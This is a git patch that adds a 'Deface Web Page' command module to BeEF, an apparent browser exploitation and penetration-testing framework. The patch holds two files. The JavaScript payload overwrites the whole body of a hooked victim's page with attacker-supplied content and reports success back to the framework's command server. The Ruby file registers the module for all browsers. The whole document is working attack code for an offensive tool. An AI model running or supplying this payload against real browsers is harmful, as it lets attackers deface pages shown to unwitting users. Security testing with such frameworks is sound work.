From d66e1da5a9e08bc31f468495427cfb95bcb2b7ca Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Sat, 13 Nov 2010 11:51:30 +0000 Subject: [PATCH] porting of deface_web_page completed and tested on major browsers git-svn-id: https://beef.googlecode.com/svn/trunk@519 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- .../misc/deface_web_page/deface_web_page.js | 5 ++ .../misc/deface_web_page/deface_web_page.rb | 48 +++++++++++++++++++ 2 files changed, 53 insertions(+) create mode 100644 modules/commands/misc/deface_web_page/deface_web_page.js create mode 100644 modules/commands/misc/deface_web_page/deface_web_page.rb diff --git a/modules/commands/misc/deface_web_page/deface_web_page.js b/modules/commands/misc/deface_web_page/deface_web_page.js new file mode 100644 index 000000000..85245de42 --- /dev/null +++ b/modules/commands/misc/deface_web_page/deface_web_page.js @@ -0,0 +1,5 @@ +beef.execute(function() { + document.body.innerHTML = "<%= @deface_content %>"; + + beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "result=Deface Succesfull"); +}); \ No newline at end of file diff --git a/modules/commands/misc/deface_web_page/deface_web_page.rb b/modules/commands/misc/deface_web_page/deface_web_page.rb new file mode 100644 index 000000000..7f52036a0 --- /dev/null +++ b/modules/commands/misc/deface_web_page/deface_web_page.rb @@ -0,0 +1,48 @@ +module BeEF +module Modules +module Commands + + +class Deface_web_page < BeEF::Command + + # + # Defines and set up the command module. + # + def initialize + super({ + 'Name' => 'Deface Web Page', + 'Description' => 'Overwrite the body of the page the victim is on with the "Deface Content" string', + 'Category' => 'Misc', + 'Author' => 'antisnatchor', + 'Data' => + [ + [ 'name' => 'deface_content', + 'ui_label'=>'Deface Content', + 'type' => 'textarea', + 'value' =>'Defaced!', + 'width' => '400px', + 'height' => '100px' + ], + ], + 'File' => __FILE__, + 'Target' => { + 'browser_name' => BeEF::Constants::Browsers::ALL + } + }) + + use 'beef.dom' + use_template! + end + + def callback + content = {} + content['Result'] = @datastore['result'] + save content + + end + +end + +end +end +end \ No newline at end of file